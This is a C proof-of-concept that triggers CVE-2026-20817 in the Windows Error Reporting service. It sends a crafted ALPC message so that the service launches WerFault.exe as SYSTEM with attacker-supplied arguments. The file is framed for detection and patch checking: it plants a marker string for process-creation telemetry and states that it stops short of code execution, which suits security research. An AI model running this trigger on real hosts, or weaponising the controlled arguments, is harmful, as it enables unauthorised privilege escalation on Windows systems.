// ============================================================================
// poc_cve_2026_20817.c — CVE-2026-20817, Windows Error Reporting Service EoP
//
// Trigger-only PoC: sends a crafted ALPC message (dispatch code 0x50000000)
// to the WerSvc ALPC server at \WindowsErrorReportingServicePort and coerces
// the service into launching C:\Windows\System32\WerFault.exe as SYSTEM with
// attacker-controlled command-line arguments read from a client file mapping.
//
// Based on the public PoC by itm4n:
//   https://github.com/itm4n/CVEs/tree/master/CVE-2026-20817
// Analysis:
//   https://itm4n.github.io/cve-2026-20817-wersvc-eop/
//
// This PoC does NOT achieve code execution — WerFault.exe is a fixed,
// safely-resolved binary and further work is needed to weaponise the
// controlled arguments. What it DOES give the blue team is a high-fidelity
// detection artifact: a WerFault.exe process running as SYSTEM, spawned as a
// (spoofed) child of a low-privilege process, with a unique marker string on
// its command line (Sysmon Event ID 1 / Security 4688).
//
// Build (MSVC developer prompt, x64):
//   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2026_20817.c /link kernel32.lib
//
// Prerequisites:
//   - Pre-patch WerSvc.dll (< 10.0.26100.7623) — the patch kills the feature
//     behind WIL flag Feature_2473284922 (returns E_FAIL immediately).
//   - The WerSvc service must be RUNNING (it is trigger-started; low-priv
//     users cannot start it manually — see the RCA for trigger discussion).
//   - Default ALPC port name (HKLM\SOFTWARE\Microsoft\Windows\Windows Error
//     Reporting!ErrorPort may override it).
//
// Note: Microsoft Defender flags the parent-PID spoof performed by the
// service when it creates the elevated child process.
// ============================================================================

#include <Windows.h>
#include <stdio.h>

// ---------------------------------------------------------------------------
// Native types (minimal, self-contained — no WDK headers required)
// ---------------------------------------------------------------------------

typedef short CSHORT;
typedef LONG NTSTATUS;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWCH   Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG  Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG  Attributes;
    PVOID  SecurityDescriptor;
    PVOID  SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _SECURITY_QUALITY_OF_SERVICE_T {
    DWORD   Length;
    DWORD   ImpersonationLevel;
    UCHAR   ContextTrackingMode;
    BOOLEAN EffectiveOnly;
} SEC_QOS, *PSEC_QOS;

typedef struct _ALPC_PORT_ATTRIBUTES {
    ULONG    Flags;
    SEC_QOS  SecurityQos;
    SIZE_T   MaxMessageLength;
    SIZE_T   MemoryBandwidth;
    SIZE_T   MaxPoolUsage;
    SIZE_T   MaxSectionSize;
    SIZE_T   MaxViewSize;
    SIZE_T   MaxTotalSectionSize;
    ULONG    DupObjectTypes;
    ULONG    Reserved; // x64
} ALPC_PORT_ATTRIBUTES, *PALPC_PORT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef struct _PORT_MESSAGE {
    union {
        struct {
            CSHORT DataLength;
            CSHORT TotalLength;
        } s1;
        ULONG Length;
    } u1;
    union {
        struct {
            CSHORT Type;
            CSHORT DataInfoOffset;
        } s2;
        ULONG ZeroInit;
    } u2;
    union {
        CLIENT_ID ClientId;
        double    DoNotUseThisField;
    };
    ULONG MessageId;
    union {
        SIZE_T ClientViewSize;
        ULONG  CallbackId;
    };
} PORT_MESSAGE, *PPORT_MESSAGE;

typedef struct _ALPC_MESSAGE_ATTRIBUTES {
    ULONG AllocatedAttributes;
    ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, *PALPC_MESSAGE_ATTRIBUTES;

// The WerSvc "elevated launch" message. Total size MUST be 0x578 — this is
// enforced by CWerService::CheckIfValidPortMessage.
typedef struct _WERSVC_MSG_ELEVATED_LAUNCH {
    PORT_MESSAGE PortMessage;        // 0x00
    DWORD  MessageFlags;             // 0x28 — in: 0x50000000 (dispatch code)
                                     //        out: 0x50000001 on reply
    DWORD  LastError;                // 0x2c — out: Win32 error from ElevatedProcessStart
    BOOL   Unknown;                  // 0x30 — must be 1 (checked in ElevatedProcessStart)
    HANDLE FileMapping;              // 0x38 — client file mapping with the command line
    HANDLE SourceHandles[16];        // 0x40 — optional handles duplicated into new process
    BOOL   CopySourceHandles;        // 0xc0
    HANDLE NewProcessHandle;         // 0xc8 — out: handle to created WerFault.exe process
    BYTE   Padding[0x578 - 0xd0];    // 0xd0 — pad to exactly 0x578
} WERSVC_MSG_ELEVATED_LAUNCH, *PWERSVC_MSG_ELEVATED_LAUNCH;

// Compile-time size check (0x578) that works in C89-style MSVC mode.
typedef char WERSVC_MSG_SIZE_MUST_BE_0x578[(sizeof(WERSVC_MSG_ELEVATED_LAUNCH) == 0x578) ? 1 : -1];

#define NT_SUCCESS(Status)          (((NTSTATUS)(Status)) >= 0)
#define ALPC_MSGFLG_SYNC_REQUEST    0x20000
#define WERSVC_DISPATCH_ELEVATED_LAUNCH  0x50000000

// Unique marker on the WerFault.exe command line — hunt for this string in
// Sysmon Event ID 1 / Security 4688 process-creation telemetry.
#define WERFAULT_MARKER_ARGS L"cve_2026_20817_marker"

typedef NTSTATUS (NTAPI *PNtAlpcConnectPort)(
    PHANDLE, PUNICODE_STRING, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES,
    ULONG, PVOID, PPORT_MESSAGE, PSIZE_T,
    PALPC_MESSAGE_ATTRIBUTES, PALPC_MESSAGE_ATTRIBUTES, PLARGE_INTEGER);

typedef NTSTATUS (NTAPI *PNtAlpcSendWaitReceivePort)(
    HANDLE, ULONG, PPORT_MESSAGE, PALPC_MESSAGE_ATTRIBUTES,
    PPORT_MESSAGE, PSIZE_T, PALPC_MESSAGE_ATTRIBUTES, PLARGE_INTEGER);

static void InitUnicodeString(PUNICODE_STRING us, PCWSTR s)
{
    size_t len = wcslen(s) * sizeof(WCHAR);
    us->Length = (USHORT)len;
    us->MaximumLength = (USHORT)(len + sizeof(WCHAR));
    us->Buffer = (PWCH)s;
}

int main(void)
{
    NTSTATUS status;
    HMODULE hNtdll;
    PNtAlpcConnectPort pNtAlpcConnectPort;
    PNtAlpcSendWaitReceivePort pNtAlpcSendWaitReceivePort;
    HANDLE hAlpcPort = NULL;
    UNICODE_STRING usPortName;
    ALPC_PORT_ATTRIBUTES apa;
    WERSVC_MSG_ELEVATED_LAUNCH msg;
    HANDLE hFileMapping = NULL;
    LPVOID pMappedView = NULL;
    SIZE_T stBufferLength;
    DWORD dwMappedSize = MAX_PATH * sizeof(WCHAR);
    int rc = 1;

    printf("[*] CVE-2026-20817 WerSvc ALPC elevated-launch trigger PoC\n");

    if (sizeof(WERSVC_MSG_ELEVATED_LAUNCH) != 0x578) {
        printf("[-] Message struct is 0x%zx bytes, expected 0x578 (build x64)\n",
               sizeof(WERSVC_MSG_ELEVATED_LAUNCH));
        return 1;
    }

    // Resolve native APIs dynamically so only kernel32.lib is needed.
    hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) return 1;
    pNtAlpcConnectPort = (PNtAlpcConnectPort)GetProcAddress(hNtdll, "NtAlpcConnectPort");
    pNtAlpcSendWaitReceivePort =
        (PNtAlpcSendWaitReceivePort)GetProcAddress(hNtdll, "NtAlpcSendWaitReceivePort");
    if (!pNtAlpcConnectPort || !pNtAlpcSendWaitReceivePort) {
        printf("[-] Failed to resolve NtAlpc* APIs\n");
        return 1;
    }

    // Default WerSvc ALPC port (overridable via HKLM\...\Windows Error
    // Reporting!ErrorPort).
    InitUnicodeString(&usPortName, L"\\WindowsErrorReportingServicePort");

    ZeroMemory(&apa, sizeof(apa));
    apa.MaxMessageLength = sizeof(msg);

    status = pNtAlpcConnectPort(&hAlpcPort, &usPortName, NULL, &apa,
                                ALPC_MSGFLG_SYNC_REQUEST, NULL, NULL, NULL,
                                NULL, NULL, NULL);
    if (!NT_SUCCESS(status)) {
        printf("[-] NtAlpcConnectPort failed: 0x%08lx\n", (unsigned long)status);
        if (status == (NTSTATUS)0xC0000034L) // STATUS_OBJECT_NAME_NOT_FOUND
            printf("[*] Port not found: WerSvc is not running (trigger-started)\n"
                   "    or a custom ErrorPort name is configured.\n");
        if (status == (NTSTATUS)0xC0000022L) // STATUS_ACCESS_DENIED
            printf("[*] Access denied on the ALPC port.\n");
        return 1;
    }
    printf("[+] Connected to \\WindowsErrorReportingServicePort (handle 0x%lx)\n",
           (unsigned long)HandleToULong(hAlpcPort));

    // File mapping holding the wide-char command-line tail for WerFault.exe.
    hFileMapping = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL,
                                      PAGE_READWRITE, 0, dwMappedSize, NULL);
    if (!hFileMapping) {
        printf("[-] CreateFileMappingW failed: %lu\n", GetLastError());
        goto cleanup;
    }
    pMappedView = MapViewOfFile(hFileMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
    if (!pMappedView) {
        printf("[-] MapViewOfFile failed: %lu\n", GetLastError());
        goto cleanup;
    }

    // The service reads this buffer and appends it to the WerFault.exe
    // command line.
    swprintf_s((wchar_t *)pMappedView, dwMappedSize / sizeof(WCHAR),
               WERFAULT_MARKER_ARGS);

    ZeroMemory(&msg, sizeof(msg));
    msg.PortMessage.u1.s1.TotalLength = (CSHORT)sizeof(msg);
    msg.PortMessage.u1.s1.DataLength  = (CSHORT)(sizeof(msg) - sizeof(PORT_MESSAGE));
    msg.MessageFlags = WERSVC_DISPATCH_ELEVATED_LAUNCH;
    msg.Unknown      = TRUE;
    msg.FileMapping  = hFileMapping;

    stBufferLength = sizeof(msg);
    status = pNtAlpcSendWaitReceivePort(hAlpcPort, ALPC_MSGFLG_SYNC_REQUEST,
                                        (PPORT_MESSAGE)&msg, NULL,
                                        (PPORT_MESSAGE)&msg, &stBufferLength,
                                        NULL, NULL);
    if (!NT_SUCCESS(status)) {
        printf("[-] NtAlpcSendWaitReceivePort failed: 0x%08lx\n", (unsigned long)status);
        goto cleanup;
    }

    printf("[*] Reply MessageFlags : 0x%08lx (expect 0x50000001)\n",
           (unsigned long)msg.MessageFlags);
    printf("[*] Reply LastError    : %lu (0x%08lx)\n",
           (unsigned long)msg.LastError, (unsigned long)msg.LastError);
    printf("[*] New process handle : 0x%lx\n",
           (unsigned long)HandleToULong(msg.NewProcessHandle));

    if (msg.LastError == 0 && msg.NewProcessHandle != NULL) {
        wchar_t imgPath[MAX_PATH] = { 0 };
        DWORD imgLen = MAX_PATH;

        printf("[+] WerFault.exe launched as SYSTEM with args: %ws\n",
               WERFAULT_MARKER_ARGS);
        printf("[+] Detection artifact: Sysmon EID 1 / Security 4688 —\n"
               "    WerFault.exe (SYSTEM), parent-spoofed child of PID %lu, "
               "cmdline contains \"%ws\"\n",
               GetCurrentProcessId(), WERFAULT_MARKER_ARGS);

        if (QueryFullProcessImageNameW(msg.NewProcessHandle, 0, imgPath, &imgLen))
            printf("[*] Process image: %ws\n", imgPath);

        printf("[*] Waiting for the elevated process to exit...\n");
        WaitForSingleObject(msg.NewProcessHandle, 15000);
        CloseHandle(msg.NewProcessHandle);
        rc = 0;
    }
    else if (msg.LastError == 0x80004005 || msg.MessageFlags == 1) {
        printf("[*] Service returned E_FAIL — the patch (Feature_2473284922)\n"
               "    is active; host is NOT vulnerable.\n");
        rc = 2;
    }
    else {
        printf("[-] Service rejected the request (LastError=%lu). Check that\n"
               "    WerSvc is running and the OS is pre-patch.\n",
               (unsigned long)msg.LastError);
    }

cleanup:
    if (pMappedView)   UnmapViewOfFile(pMappedView);
    if (hFileMapping)  CloseHandle(hFileMapping);
    if (hAlpcPort)     CloseHandle(hAlpcPort);
    return rc;
}
